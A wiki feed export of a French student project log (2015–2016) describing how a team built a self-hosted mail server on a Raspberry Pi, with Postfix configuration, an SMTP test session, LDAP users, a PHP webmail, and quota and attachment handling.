 250-SIZE 10240000&lt;br /&gt;
 250-VRFY&lt;br /&gt;
 250-ETRN&lt;br /&gt;
 250-ENHANCEDSTATUSCODES&lt;br /&gt;
 250-8BITMIME&lt;br /&gt;
 250 DSN&lt;br /&gt;
 MAIL FROM:toto(arobase)titi.com&lt;br /&gt;
 250 2.1.0 Ok&lt;br /&gt;
 RCPT TO:jvaljean(arobase)intimail.pw&lt;br /&gt;
 250 2.1.5 Ok&lt;br /&gt;
 DATA&lt;br /&gt;
 354 End data with &amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;&lt;br /&gt;
 Subject: Premier Test&lt;br /&gt;
 Here is my test&lt;br /&gt;
 .&lt;br /&gt;
 250 2.0.0 Ok: queued as 0EDFC21428&lt;br /&gt;
 quit&lt;br /&gt;
 221 2.0.0 Bye&lt;br /&gt;
 Connection closed by foreign host.&lt;br /&gt;
&lt;br /&gt;
Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :&lt;br /&gt;
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.&lt;br /&gt;
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions&lt;br /&gt;
&lt;br /&gt;
==== Cyrus SASL ====&lt;br /&gt;
&lt;br /&gt;
Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail. &lt;br /&gt;
&lt;br /&gt;
==== LDAP ====&lt;br /&gt;
&lt;br /&gt;
Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.&lt;br /&gt;
&lt;br /&gt;
==== Web ====&lt;br /&gt;
&lt;br /&gt;
Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une &amp;quot;vue globale&amp;quot;, réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.&lt;br /&gt;
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet &amp;quot;Manage&amp;quot; d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.&lt;br /&gt;
&lt;br /&gt;
Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.&lt;br /&gt;
&lt;br /&gt;
Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).&lt;br /&gt;
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].&lt;br /&gt;
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.&lt;br /&gt;
Notre architecture s'oriente donc sur les schémas suivants :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]&lt;br /&gt;
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]&lt;br /&gt;
&lt;br /&gt;
==== Scripting ====&lt;br /&gt;
&lt;br /&gt;
Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer &amp;lt;code&amp;gt;libswitch-perl&amp;lt;/code&amp;gt; pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.&lt;br /&gt;
&lt;br /&gt;
===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]&lt;br /&gt;
&lt;br /&gt;
Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier. &lt;br /&gt;
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur. &lt;br /&gt;
* Un dossier mail, dans lequel sont stockés les mails envoyés&lt;br /&gt;
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.&lt;br /&gt;
&lt;br /&gt;
===Semaine 8 (09/11/2015) - Postfix et filtrage===&lt;br /&gt;
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt;. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 # service type  private unpriv  chroot  wakeup  maxproc command + args&lt;br /&gt;
 #               (yes)   (yes)   (yes)   (never) (100)&lt;br /&gt;
 # ==========================================================================&lt;br /&gt;
 smtp       inet  n       -       -       -       -       smtpd&lt;br /&gt;
   -o content_filter=filter&lt;br /&gt;
 filter     unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/path/to/script $queue_id $size $sender $recipient&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :&lt;br /&gt;
 [&lt;br /&gt;
  {&lt;br /&gt;
    &amp;quot;from&amp;quot;: &amp;quot;michel.drucker@gmail.com&amp;quot;,&lt;br /&gt;
    &amp;quot;subject&amp;quot;: &amp;quot;Vivement dimanche&amp;quot;,&lt;br /&gt;
    &amp;quot;timestamp&amp;quot;: &amp;quot;2015-11-8 19:59:53&amp;quot;,&lt;br /&gt;
    &amp;quot;unixtimestamp&amp;quot;: &amp;quot;1447012793&amp;quot;,&lt;br /&gt;
    &amp;quot;queueid&amp;quot;: &amp;quot;48FE03FA87&amp;quot;,&lt;br /&gt;
    &amp;quot;filepath&amp;quot;: &amp;quot;???&amp;quot;,&lt;br /&gt;
    &amp;quot;size&amp;quot;: &amp;quot;1676&amp;quot;,&lt;br /&gt;
    &amp;quot;status&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;pj&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;id&amp;quot;: &amp;quot;0&amp;quot;,&lt;br /&gt;
    &amp;quot;to&amp;quot;: &amp;quot;jbond@intimail.pw&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
 ]&lt;br /&gt;
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).&lt;br /&gt;
&lt;br /&gt;
Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis &amp;lt;code&amp;gt;user=vmail&amp;lt;/code&amp;gt;. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.&lt;br /&gt;
&lt;br /&gt;
Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.&lt;br /&gt;
&lt;br /&gt;
===Semaine 9 (16/11/2015)===&lt;br /&gt;
===Semaine 10 (23/11/2015)===&lt;br /&gt;
===Semaine 11 (30/11/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.&lt;br /&gt;
&lt;br /&gt;
D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises &amp;lt;a href&amp;gt; pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.&lt;br /&gt;
&lt;br /&gt;
La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :&lt;br /&gt;
 $('#table').on('click-row.bs.table', function (e, row, $element) {&lt;br /&gt;
     console.log(row, $element);&lt;br /&gt;
     alert(&amp;quot;L'utilisateur d'intimail a cliqué sur &amp;quot;+row);&lt;br /&gt;
 });&lt;br /&gt;
&lt;br /&gt;
On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.&lt;br /&gt;
&lt;br /&gt;
===Semaine 12 (07/12/2015)===&lt;br /&gt;
==== Parseur pour les mails entrants ====&lt;br /&gt;
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.&lt;br /&gt;
&lt;br /&gt;
La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :&lt;br /&gt;
 Un mail arrive&lt;br /&gt;
   Le hook de postfix est exécuté&lt;br /&gt;
     Le mail est envoyé via Sendmail --------------------------------------------------------------&amp;gt; Le mail est en attente de délivrement&lt;br /&gt;
     Le script de parsing est lancé                                                                   |&lt;br /&gt;
       Le script vérifie dans les dossiers la présence du nouveau mail                                |&lt;br /&gt;
       et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités      |&lt;br /&gt;
        |                                                                                             v&lt;br /&gt;
        |                                                                                            Le mail est délivré et existe dans le système de fichier&lt;br /&gt;
        v                                                                                             |&lt;br /&gt;
       Le script a trouvé le fichier et le traite &amp;lt;----------------------------------------------------&lt;br /&gt;
 Fin&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle &amp;lt;code&amp;gt;$unixtimestamp.$queueid&amp;lt;/code&amp;gt;. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ &amp;lt;code&amp;gt;filepath&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
====Interface Web====&lt;br /&gt;
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton &amp;quot;Write an email&amp;quot;, présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 13 (14/12/2015)===&lt;br /&gt;
&lt;br /&gt;
* Écriture du rapport intermédiaire&lt;br /&gt;
* Réalisation du support de soutenance&lt;br /&gt;
&lt;br /&gt;
===Semaine 14 (04/01/2016)===&lt;br /&gt;
&lt;br /&gt;
* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point&lt;br /&gt;
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation&lt;br /&gt;
&lt;br /&gt;
===Semaine 15 (11/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Poursuite de la longue réécriture du code shell en perl.&lt;br /&gt;
&lt;br /&gt;
===Semaine 16 (18/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut &amp;quot;pj&amp;quot; quand une pièce jointe est présente.&lt;br /&gt;
&lt;br /&gt;
Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.&lt;br /&gt;
&lt;br /&gt;
===Semaine 17 (25/01/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web :&lt;br /&gt;
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.&lt;br /&gt;
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)&lt;br /&gt;
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)&lt;br /&gt;
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans &amp;quot;Envoyés&amp;quot;, les mails reçus dans &amp;quot;Boite de réception&amp;quot;, manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas&lt;br /&gt;
&lt;br /&gt;
Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.&lt;br /&gt;
&lt;br /&gt;
===Semaine 18 (01/02/2016)===&lt;br /&gt;
&lt;br /&gt;
Côté web : &lt;br /&gt;
* Identification d'un administrateur ou simple utilisateur&lt;br /&gt;
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...&lt;br /&gt;
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte&lt;br /&gt;
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs. &lt;br /&gt;
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.&lt;br /&gt;
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers &amp;quot;.inc&amp;quot; : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.&lt;br /&gt;
&lt;br /&gt;
===Semaine 19 (08/02/2016)===&lt;br /&gt;
Côté Web :&lt;br /&gt;
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.&lt;br /&gt;
* Suppression d'un compte : fonctionnelle&lt;br /&gt;
* Création d'un compte : fonctionnelle&lt;br /&gt;
* Création d'une fonction permettant d'ajouter un utilisateur à une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de supprimer un utilisateur d'une liste/un groupe donné(e) : OK&lt;br /&gt;
* Création d'une fonction permettant de lister les groupes existants : OK&lt;br /&gt;
* Création d'une fonction permettant de créer/supprimer un groupe : OK&lt;br /&gt;
&lt;br /&gt;
Au 10/02, on peut créer des comptes, les dossiers sont crées sur le système sans problème à réception d'un mail de bienvenue, on peut envoyer et recevoir des messages, donner les droits d'administrations, gérer la configuration du webmail depuis l'interface, gérer les utilisateurs et leurs attributs depuis l'interface, tout semble prêt relativement au cahier des charges initial. Nous allons migrer notre installation sur une autre IP et autre domaine.&lt;br /&gt;
&lt;br /&gt;
Côté serveur :&lt;br /&gt;
Croyant que les fonctionnalités demandées étaient implémentées, nous nous sommes rendu compte après tests que les mails envoyés d'un compte Intimail à un autre compte Intimail n'apparaissaient pas. Ceci était du au fait que le script utilisé n'était activé que lors de la réception d'un mail par le réseau (serveur smtp). Nous avons donc modifié la manière donc les mails sont passés au script, en ajoutant une règle dans &amp;lt;code&amp;gt;master.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 mailrte    unix  -       n       n       -       5       pipe&lt;br /&gt;
   flags=Rq user=vmail null_sender=&lt;br /&gt;
   argv=/home/moth/Documents/pfe/postfix/json_parser.pl $queue_id $size $sender $recipient&lt;br /&gt;
Pas de grande nouveauté ici. Dans le fichier &amp;lt;code&amp;gt;main.cf&amp;lt;/code&amp;gt; :&lt;br /&gt;
 virtual_transport = mailrte&lt;br /&gt;
&lt;br /&gt;
Ces commandes passent TOUT les mails au script défini via l'entrée standard. C'est notre script qui doit alors se débrouiller pour délivrer les mails (précédemment, postfix se chargeait toujours d'écrire les fichiers). Encore une fois, nous avons donc dû modifier notre programme en conséquence.&lt;br /&gt;
&lt;br /&gt;
===Semaine 20 (15/02/2016)===&lt;br /&gt;
Nous avons migré la raspberry d'une IP interne au réseau Polytech vers une IP externe. La migration s'est passée sans aucun problème, le plus long étant d'attendre que les zones DNS se propagent (cela a bien pris 1 heure !). Nous sommes donc passés de 193.48.57.171 vers 5.23.44.85.&lt;br /&gt;
Nous émettons enfin des mails vers les serveurs extérieurs (en particulier Google Mail, Microsoft Live...). La théorie de départ que nos échecs d'envoi étaient dû aux restrictions du CRI s'est donc bien vérifiée : plus aucun problème juste en migrant.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Finalisation de la gestion des PJs : en cas de mail contenant une pièce jointe, un bandeau permet d'ouvrir chacune d'entre-elles dans un nouvel onglet. La pièce jointe en base 64 dans le fichier mail brut est reconstruite dans un dossier accessible au serveur web puis supprimée pour un gain de place (le fichier d'origine ou reconstruit est plus petit en taille que sa version encodée en base 64, on optimise donc ainsi le quota et l'espace disque).&lt;br /&gt;
&lt;br /&gt;
Corrections de bogues d'encodage des mails entre ISO et UTF8.&lt;br /&gt;
&lt;br /&gt;
Travail sur la création d'un paquet Debian.&lt;br /&gt;
&lt;br /&gt;
===Semaine 21 (22/02/2016)===&lt;br /&gt;
&lt;br /&gt;
* Tournage de la vidéo du projet avec Laurent Engels du service Communication&lt;br /&gt;
* Fin de la rédaction du rapport final de PFE&lt;br /&gt;
* Rédaction du diaporama de présentation orale du PFE&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
Interface web : [https://intimail.pw intiMail.pw]&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]&lt;br /&gt;
  &lt;br /&gt;
Rapport de Projet : [http:// Soon™]&lt;br /&gt;
&lt;br /&gt;
Vidéo de Projet : [http:// Soon™] (Tournée le 22/02 10h avec Laurent Engels)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Code de l'interface + README expliquant le contenu : [http://projets-imasc.plil.net/mediawiki/images/7/73/Intimail.zip intiMail.zip]&lt;br /&gt;
&lt;br /&gt;
Code Perl du script pour Postfix : [http:/// Hold on a second]&lt;br /&gt;
&lt;br /&gt;
Fichier de configuration (Postfix/Lighttpd) fonctionnels : [http://http://projets-imasc.plil.net/mediawiki/images/1/11/Config_intimail.zip Config Postfix+Lighttpd]&lt;br /&gt;
&lt;br /&gt;
Guide d'installation (version seule, déjà inclus dans le rapport final) : [http://projets-imasc.plil.net/mediawiki/images/e/e0/Readme-Intimail.pdf Guide d'installation]&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Config_intimail.zip&amp;diff=27624</id>
		<title>Fichier:Config intimail.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Config_intimail.zip&amp;diff=27624"/>
				<updated>2016-02-23T10:48:19Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : Fichiers de configuration utilisés pour Lighttpd et Postfix. Référez vous au guide d'installation pour tout détail supplémentaire. La configuration ansi que les schémas LDAP se situent dans l'archive du code des scripts.&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Fichiers de configuration utilisés pour Lighttpd et Postfix. Référez vous au guide d'installation pour tout détail supplémentaire. La configuration ansi que les schémas LDAP se situent dans l'archive du code des scripts.&lt;/div&gt;</summary>
		<author><name>Tteneur</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27617</id>
		<title>P9 Système d'hébergement domestique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P9_Syst%C3%A8me_d%27h%C3%A9bergement_domestique&amp;diff=27617"/>
				<updated>2016-02-23T10:37:32Z</updated>
		
		<summary type="html">&lt;p&gt;Tteneur : /* Fichiers Rendus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.&lt;br /&gt;
&lt;br /&gt;
Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation. &lt;br /&gt;
&lt;br /&gt;
Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
Matériel obtenu à ce jour :&lt;br /&gt;
* 1 Raspberry Pi 2 [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Carte µSD 8 GB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenue le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
* 1 Cable USB/µUSB [&amp;lt;span style=&amp;quot;color: green;&amp;quot;&amp;gt;obtenu le 07/10/2015&amp;lt;/span&amp;gt;]&lt;br /&gt;
